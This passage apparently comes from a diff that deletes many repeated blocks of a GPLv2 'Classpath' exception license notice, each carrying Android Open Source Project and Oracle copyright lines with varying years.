-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1999, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1999, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
